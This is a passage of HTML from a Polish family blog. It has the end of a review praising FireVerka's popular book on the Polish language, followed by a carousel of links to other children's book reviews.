2041. <p>FireVerka zachęca do świadomego używania języka i pokazuje, że dbałość o polszczyznę nie musi być nudna czy elitarna. Przeciwnie – może być źródłem radości i inspiracji do dalszych poszukiwań.</p>
2042.  
2043.  
2044.  
2045. <p>Szczególnie cenne jest przesłanie o tym, że język należy do wszystkich jego użytkowników. Autorka nie dzieli ludzi na tych, którzy &#8220;znają się&#8221; na języku i tych, którzy &#8220;nie znają się&#8221;. Zamiast tego pokazuje, że każdy może być odkrywcą językowych tajemnic.</p>
2046.  
2047.  
2048.  
2049. <hr class="wp-block-separator has-alpha-channel-opacity"/>
2050.  
2051.  
2052.  
2053. <h2 class="wp-block-heading">Kiedy forma spotyka treść</h2>
2054.  
2055.  
2056.  
2057. <p>Wydawnictwo Znak Emotikon zadbało o to, aby forma książki odpowiadała jej treści. Design okładki nawiązuje do tytułowego powiedzenia, co od razu wprowadza czytelnika w odpowiedni nastrój.</p>
2058.  
2059.  
2060.  
2061. <p>Typografia została dobrana z myślą o przystępności – tekst jest czytelny, a rozmieszczenie na stronie nie męczy oczu. Brak przesadnych ozdobników sprawia, że uwaga skupia się na treści, co w przypadku takiej książki jest kluczowe.</p>
2062.  
2063.  
2064.  
2065. <p>Szczególną uwagę zwraca kolorystyka – stonowana, ale przyjazna, która nie odwraca uwagi od głównego przekazu. To wydanie wyraźnie przygotowane z myślą o szerokim gronie odbiorców, od nastolatków po starsze pokolenia.</p>
2066.  
2067.  
2068.  
2069. <hr class="wp-block-separator has-alpha-channel-opacity"/>
2070.  
2071.  
2072.  
2073. <h2 class="wp-block-heading">Językowa perełka w morzu przeciętności</h2>
2074.  
2075.  
2076.  
2077. <p>„Co ma piernik do wiatraka i inne językowe rozkminy&#8221; FireVerki to pozycja, która pokazuje, że popularyzacja nauki może być inteligentna, zabawna i przystępna jednocześnie. Weronika Zych udowadnia, że można pisać o języku w sposób, który nie znudzi nawet największych opornych wobec gramatyki.</p>
2078.  
2079.  
2080.  
2081. <p>Książka znajdzie czytelników w każdym wieku – od uczniów gimnazjum po emerytów. To rzadka cecha na dzisiejszym rynku wydawniczym. FireVerka ma talent do tego, by przekazywać wiedzę w sposób naturalny, bez mentorskiego tonu, który często odstrasza od naukowych pozycji.</p>
2082.  
2083.  
2084.  
2085. <p><strong>„Co ma piernik do wiatraka i inne językowe rozkminy&#8221;</strong> to książka, która powinna znajdować się w każdym domu, gdzie ceni się język polski i jego bogactwo. To pozycja, do której będziemy wracać, odkrywając za każdym razem coś nowego.</p>
2086.  
2087.  
2088.  
2089. <script src="https://buybox.click/js/widget.min.js"></script>
2090. <span class="bb-widget" id="buybox-xudz" data-bb-id="21402" data-bb-oid="213837517"></span>
2091.  
2092.  
2093.  
2094. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-2b0df385     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
2095.  
2096. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2097. <a href="https://przystanekrodzinka.pl/odlotowe-golebie-ptasi-detektywi-w-akcji/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="537" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/07/Odlotowe-golebie-13-768x537.jpg" class="attachment-medium_large size-medium_large" alt="Odlotowe golebie (13)" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/07/Odlotowe-golebie-13-768x537.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/Odlotowe-golebie-13-300x210.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/Odlotowe-golebie-13-1024x716.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/Odlotowe-golebie-13-1536x1073.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/Odlotowe-golebie-13.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2098. </div>
2099. <h4 class="uagb-post__title uagb-post__text">
2100. <a href="https://przystanekrodzinka.pl/odlotowe-golebie-ptasi-detektywi-w-akcji/" target="_self" rel="bookmark noopener noreferrer">&#8220;Odlotowe gołębie&#8221; &#8211; ptasi detektywi w akcji</a>
2101. </h4>
2102. <div class='uagb-post__text uagb-post-grid-byline'>
2103. </div>
2104. <div class="uagb-post__text uagb-post__cta wp-block-button">
2105. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/odlotowe-golebie-ptasi-detektywi-w-akcji/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2106. </div>
2108. </article>
2109. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2110. <a href="https://przystanekrodzinka.pl/wyrusz-w-podroz-z-wikingami-przygody-ktore-wybierzesz-sam-co-wolisz-wikingowie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="604" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/07/co-wolisz-wikingowie-14-768x604.jpg" class="attachment-medium_large size-medium_large" alt="co wolisz wikingowie (14)" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/07/co-wolisz-wikingowie-14-768x604.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/co-wolisz-wikingowie-14-300x236.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/co-wolisz-wikingowie-14-1024x806.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/co-wolisz-wikingowie-14-1536x1209.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/07/co-wolisz-wikingowie-14.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2111. </div>
2112. <h4 class="uagb-post__title uagb-post__text">
2113. <a href="https://przystanekrodzinka.pl/wyrusz-w-podroz-z-wikingami-przygody-ktore-wybierzesz-sam-co-wolisz-wikingowie/" target="_self" rel="bookmark noopener noreferrer">Wyrusz w podróż z Wikingami – w przygody, które wybierzesz sam &#8211; &#8220;Co wolisz? Wikingowie&#8221;</a>
2114. </h4>
2115. <div class='uagb-post__text uagb-post-grid-byline'>
2116. </div>
2117. <div class="uagb-post__text uagb-post__cta wp-block-button">
2118. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/wyrusz-w-podroz-z-wikingami-przygody-ktore-wybierzesz-sam-co-wolisz-wikingowie/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2119. </div>
2121. </article>
2122. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2123. <a href="https://przystanekrodzinka.pl/twoj-genialny-mozg/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="575" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/05/Twoj-genialny-mozg-2-768x575.jpg" class="attachment-medium_large size-medium_large" alt="Twoj genialny mozg (2)" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/05/Twoj-genialny-mozg-2-768x575.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/05/Twoj-genialny-mozg-2-300x224.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/05/Twoj-genialny-mozg-2-1024x766.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/05/Twoj-genialny-mozg-2-1536x1149.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/05/Twoj-genialny-mozg-2.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2124. </div>
2125. <h4 class="uagb-post__title uagb-post__text">
2126. <a href="https://przystanekrodzinka.pl/twoj-genialny-mozg/" target="_self" rel="bookmark noopener noreferrer">&#8220;Twój genialny mózg&#8221; &#8211; książka, która wniknie w zakamarki umysłu Twojego dziecka</a>
2127. </h4>
2128. <div class='uagb-post__text uagb-post-grid-byline'>
2129. </div>
2130. <div class="uagb-post__text uagb-post__cta wp-block-button">
2131. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/twoj-genialny-mozg/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2132. </div>
2134. </article>
2135. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2136. <a href="https://przystanekrodzinka.pl/fuuj-ohyda-dana-marshalla/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="768" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka-768x768.jpg" class="attachment-medium_large size-medium_large" alt="fuuj ohyda ksiazka" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka-768x768.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka-300x300.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka-1024x1024.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka-150x150.jpg 150w, https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka-1536x1536.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/04/fuuj-ohyda-ksiazka.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2137. </div>
2138. <h4 class="uagb-post__title uagb-post__text">
2139. <a href="https://przystanekrodzinka.pl/fuuj-ohyda-dana-marshalla/" target="_self" rel="bookmark noopener noreferrer">&#8220;Odkrywamy fascynujące obrzydlistwo &#8211; &#8220;Fuuj, ohyda!&#8221; Dana Marshalla w nieoczywistym przewodniku po świecie paskudztw</a>
2140. </h4>
2141. <div class='uagb-post__text uagb-post-grid-byline'>
2142. </div>
2143. <div class="uagb-post__text uagb-post__cta wp-block-button">
2144. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/fuuj-ohyda-dana-marshalla/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2145. </div>
2147. </article>
2148. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2149. <a href="https://przystanekrodzinka.pl/ksiazka-rozgryzione/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2023/04/ksiazka-rozgryzione-2-768x576.jpg" class="attachment-medium_large size-medium_large" alt="ksiazka rozgryzione 2" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2023/04/ksiazka-rozgryzione-2-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2023/04/ksiazka-rozgryzione-2-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2023/04/ksiazka-rozgryzione-2-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2023/04/ksiazka-rozgryzione-2-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2023/04/ksiazka-rozgryzione-2.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2150. </div>
2151. <h4 class="uagb-post__title uagb-post__text">
2152. <a href="https://przystanekrodzinka.pl/ksiazka-rozgryzione/" target="_self" rel="bookmark noopener noreferrer">Książka &#8220;Rozgryzione&#8221; &#8211; jeden przewodnik na całe życie po nauce dobrego jedzenia</a>
2153. </h4>
2154. <div class='uagb-post__text uagb-post-grid-byline'>
2155. </div>
2156. <div class="uagb-post__text uagb-post__cta wp-block-button">
2157. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/ksiazka-rozgryzione/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2158. </div>
2160. </article>
2161. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2162. <a href="https://przystanekrodzinka.pl/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="541" src="https://przystanekrodzinka.pl/wp-content/uploads/2022/07/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow-13-768x541.jpg" class="attachment-medium_large size-medium_large" alt="bolek i lolek w poszukiwaniu polskich skarbow 13" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2022/07/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow-13-768x541.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow-13-300x211.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow-13-1024x721.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow-13-1536x1082.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow-13.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2163. </div>
2164. <h4 class="uagb-post__title uagb-post__text">
2165. <a href="https://przystanekrodzinka.pl/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow/" target="_self" rel="bookmark noopener noreferrer">„Bolek i Lolek w poszukiwaniu polskich skarbów” &#8211; powrót kultowych bohaterów w iście przygodowym stylu</a>
2166. </h4>
2167. <div class='uagb-post__text uagb-post-grid-byline'>
2168. </div>
2169. <div class="uagb-post__text uagb-post__cta wp-block-button">
2170. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/bolek-i-lolek-w-poszukiwaniu-polskich-skarbow/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2171. </div>
2173. </article>
2174. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2175. <a href="https://przystanekrodzinka.pl/nie-do-wiary/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="522" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/10/engin-akyurt-RFt2XrTJllM-unsplash-768x522.jpg" class="attachment-medium_large size-medium_large" alt="engin akyurt RFt2XrTJllM unsplash" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/10/engin-akyurt-RFt2XrTJllM-unsplash-768x522.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/10/engin-akyurt-RFt2XrTJllM-unsplash-300x204.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/10/engin-akyurt-RFt2XrTJllM-unsplash-1024x696.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/10/engin-akyurt-RFt2XrTJllM-unsplash-1536x1044.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/10/engin-akyurt-RFt2XrTJllM-unsplash.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2176. </div>
2177. <h4 class="uagb-post__title uagb-post__text">
2178. <a href="https://przystanekrodzinka.pl/nie-do-wiary/" target="_self" rel="bookmark noopener noreferrer">Wow! Wow! Wow! Naukowe szaleństwo! Podróż przez najbardziej zaskakujące tajemnice wszechświata z książką &#8220;Nie do wiary!&#8221;</a>
2179. </h4>
2180. <div class='uagb-post__text uagb-post-grid-byline'>
2181. </div>
2182. <div class="uagb-post__text uagb-post__cta wp-block-button">
2183. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/nie-do-wiary/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2184. </div>
2186. </article>
2187. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2188. <a href="https://przystanekrodzinka.pl/wielcy-filozofowie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="565" src="https://przystanekrodzinka.pl/wp-content/uploads/2022/07/wielcy-filozofowie-ksiazka-12-768x565.jpg" class="attachment-medium_large size-medium_large" alt="wielcy filozofowie ksiazka 12" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2022/07/wielcy-filozofowie-ksiazka-12-768x565.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/wielcy-filozofowie-ksiazka-12-300x221.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/wielcy-filozofowie-ksiazka-12-1024x753.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/wielcy-filozofowie-ksiazka-12-1536x1130.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2022/07/wielcy-filozofowie-ksiazka-12.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2189. </div>
2190. <h4 class="uagb-post__title uagb-post__text">
2191. <a href="https://przystanekrodzinka.pl/wielcy-filozofowie/" target="_self" rel="bookmark noopener noreferrer">&#8220;Wielcy filozofowie&#8221; &#8211; wielki formatem i treścią picturebook z serii &#8220;Myśli, które zmieniły świat&#8221;</a>
2192. </h4>
2193. <div class='uagb-post__text uagb-post-grid-byline'>
2194. </div>
2195. <div class="uagb-post__text uagb-post__cta wp-block-button">
2196. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/wielcy-filozofowie/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2197. </div>
2199. </article>
2200. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2201. <a href="https://przystanekrodzinka.pl/gol-to-nie-wszystko-ksiazka-o-pilce-noznej-dla-dzieci-ktora-trafia-prosto-w-dziesiatke/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/06/Copy-of-zjawka-szkic-768x576.jpg" class="attachment-medium_large size-medium_large" alt="Copy of zjawka szkic" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/06/Copy-of-zjawka-szkic-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/Copy-of-zjawka-szkic-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/Copy-of-zjawka-szkic-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/Copy-of-zjawka-szkic-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/Copy-of-zjawka-szkic.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2202. </div>
2203. <h4 class="uagb-post__title uagb-post__text">
2204. <a href="https://przystanekrodzinka.pl/gol-to-nie-wszystko-ksiazka-o-pilce-noznej-dla-dzieci-ktora-trafia-prosto-w-dziesiatke/" target="_self" rel="bookmark noopener noreferrer">&#8220;Gol to nie wszystko&#8221; &#8211; książka o piłce nożnej dla dzieci, która trafia prosto w dziesiątkę!</a>
2205. </h4>
2206. <div class='uagb-post__text uagb-post-grid-byline'>
2207. </div>
2208. <div class="uagb-post__text uagb-post__cta wp-block-button">
2209. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/gol-to-nie-wszystko-ksiazka-o-pilce-noznej-dla-dzieci-ktora-trafia-prosto-w-dziesiatke/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2210. </div>
2212. </article>
2213. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2214. <a href="https://przystanekrodzinka.pl/kefir-w-kairze/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="771" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-768x771.jpg" class="attachment-medium_large size-medium_large" alt="kefir w kairze michal rusinek 2" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-768x771.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-300x300.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-1020x1024.jpg 1020w, https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-150x150.jpg 150w, https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-1529x1536.jpg 1529w, https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2-1320x1326.jpg 1320w, https://przystanekrodzinka.pl/wp-content/uploads/2021/01/kefir-w-kairze-michal-rusinek-2.jpg 1593w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2215. </div>
2216. <h4 class="uagb-post__title uagb-post__text">
2217. <a href="https://przystanekrodzinka.pl/kefir-w-kairze/" target="_self" rel="bookmark noopener noreferrer">&#8220;Kefir w Kairze&#8221; Michała Rusinka &#8211; &#8220;nie przewodnik&#8221; po miastach świata</a>
2218. </h4>
2219. <div class='uagb-post__text uagb-post-grid-byline'>
2220. </div>
2221. <div class="uagb-post__text uagb-post__cta wp-block-button">
2222. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/kefir-w-kairze/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2223. </div>
2225. </article>
2226. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2227. <a href="https://przystanekrodzinka.pl/bebechy-czyli-cialo-czlowieka-pod-lupa-anatomiczny-rollercoaster-czyli-podroz-w-glab-ludzkiego-ciala/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="542" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/01/Bebechy-768x542.jpg" class="attachment-medium_large size-medium_large" alt="Bebechy" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/01/Bebechy-768x542.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/01/Bebechy-300x212.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/01/Bebechy-1024x723.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/01/Bebechy-1536x1084.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/01/Bebechy.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2228. </div>
2229. <h4 class="uagb-post__title uagb-post__text">
2230. <a href="https://przystanekrodzinka.pl/bebechy-czyli-cialo-czlowieka-pod-lupa-anatomiczny-rollercoaster-czyli-podroz-w-glab-ludzkiego-ciala/" target="_self" rel="bookmark noopener noreferrer">&#8220;Bebechy, czyli ciało człowieka pod lupą&#8221; &#8211; anatomiczny rollercoaster, czyli podróż w głąb ludzkiego ciała</a>
2231. </h4>
2232. <div class='uagb-post__text uagb-post-grid-byline'>
2233. </div>
2234. <div class="uagb-post__text uagb-post__cta wp-block-button">
2235. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/bebechy-czyli-cialo-czlowieka-pod-lupa-anatomiczny-rollercoaster-czyli-podroz-w-glab-ludzkiego-ciala/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2236. </div>
2238. </article>
2239. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2240. <a href="https://przystanekrodzinka.pl/swieta-na-swiecie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="593" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/11/swieta-na-swiecie-5-768x593.jpg" class="attachment-medium_large size-medium_large" alt="swieta na swiecie 5" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/11/swieta-na-swiecie-5-768x593.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/11/swieta-na-swiecie-5-300x232.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/11/swieta-na-swiecie-5-1024x790.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/11/swieta-na-swiecie-5-1536x1186.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/11/swieta-na-swiecie-5.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2241. </div>
2242. <h4 class="uagb-post__title uagb-post__text">
2243. <a href="https://przystanekrodzinka.pl/swieta-na-swiecie/" target="_self" rel="bookmark noopener noreferrer">&#8220;Święta na świecie&#8221;, czyli czytelnicza podróż dookoła świata po tradycjach świątecznych</a>
2244. </h4>
2245. <div class='uagb-post__text uagb-post-grid-byline'>
2246. </div>
2247. <div class="uagb-post__text uagb-post__cta wp-block-button">
2248. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/swieta-na-swiecie/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2249. </div>
2251. </article>
2252. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2253. <a href="https://przystanekrodzinka.pl/fundamenty-wiedzy-i-arkady-wyobrazni-jak-budowac-mosty-ksiazka-dla-malych-inzynierow-i-wielkich-marzycieli/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/06/jak-budowac-mosty-1-768x576.jpg" class="attachment-medium_large size-medium_large" alt="jak budować mosty" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/06/jak-budowac-mosty-1-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/jak-budowac-mosty-1-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/jak-budowac-mosty-1-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/jak-budowac-mosty-1-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/06/jak-budowac-mosty-1.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2254. </div>
2255. <h4 class="uagb-post__title uagb-post__text">
2256. <a href="https://przystanekrodzinka.pl/fundamenty-wiedzy-i-arkady-wyobrazni-jak-budowac-mosty-ksiazka-dla-malych-inzynierow-i-wielkich-marzycieli/" target="_self" rel="bookmark noopener noreferrer">Fundamenty wiedzy i arkady wyobraźni &#8211; „Jak budować MOSTY. Książka dla małych inżynierów i wielkich marzycieli&#8221;</a>
2257. </h4>
2258. <div class='uagb-post__text uagb-post-grid-byline'>
2259. </div>
2260. <div class="uagb-post__text uagb-post__cta wp-block-button">
2261. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/fundamenty-wiedzy-i-arkady-wyobrazni-jak-budowac-mosty-ksiazka-dla-malych-inzynierow-i-wielkich-marzycieli/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2262. </div>
2264. </article>
2265. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2266. <a href="https://przystanekrodzinka.pl/tata-czlowiek-mit-legenda/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="540" src="https://przystanekrodzinka.pl/wp-content/uploads/2022/05/tata-czlowiek-mit-legenda-13-768x540.jpg" class="attachment-medium_large size-medium_large" alt="tata czlowiek mit legenda 13" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2022/05/tata-czlowiek-mit-legenda-13-768x540.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2022/05/tata-czlowiek-mit-legenda-13-300x211.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2022/05/tata-czlowiek-mit-legenda-13-1024x719.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2022/05/tata-czlowiek-mit-legenda-13-1536x1079.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2022/05/tata-czlowiek-mit-legenda-13.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2267. </div>
2268. <h4 class="uagb-post__title uagb-post__text">
2269. <a href="https://przystanekrodzinka.pl/tata-czlowiek-mit-legenda/" target="_self" rel="bookmark noopener noreferrer">„Tata. Człowiek, mit, legenda”, czyli osobisty bohater każdego dziecka &#8211; recenzja</a>
2270. </h4>
2271. <div class='uagb-post__text uagb-post-grid-byline'>
2272. </div>
2273. <div class="uagb-post__text uagb-post__cta wp-block-button">
2274. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/tata-czlowiek-mit-legenda/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2275. </div>
2277. </article>
2278. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
2279. <a href="https://przystanekrodzinka.pl/adhd-jak-to-ogarnac-sprawdzone-lifehacki-dla-nastolatkow-przewodnik-po-odkrywaniu-wlasnej-neuroroznorodnosci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/08/ADHD-jak-to-ogarnac-1-768x576.jpg" class="attachment-medium_large size-medium_large" alt="ADHD jak to ogarnac (1)" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/08/ADHD-jak-to-ogarnac-1-768x576.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/08/ADHD-jak-to-ogarnac-1-300x225.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/08/ADHD-jak-to-ogarnac-1-1024x768.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/08/ADHD-jak-to-ogarnac-1-1536x1152.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/08/ADHD-jak-to-ogarnac-1.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
2280. </div>
2281. <h4 class="uagb-post__title uagb-post__text">
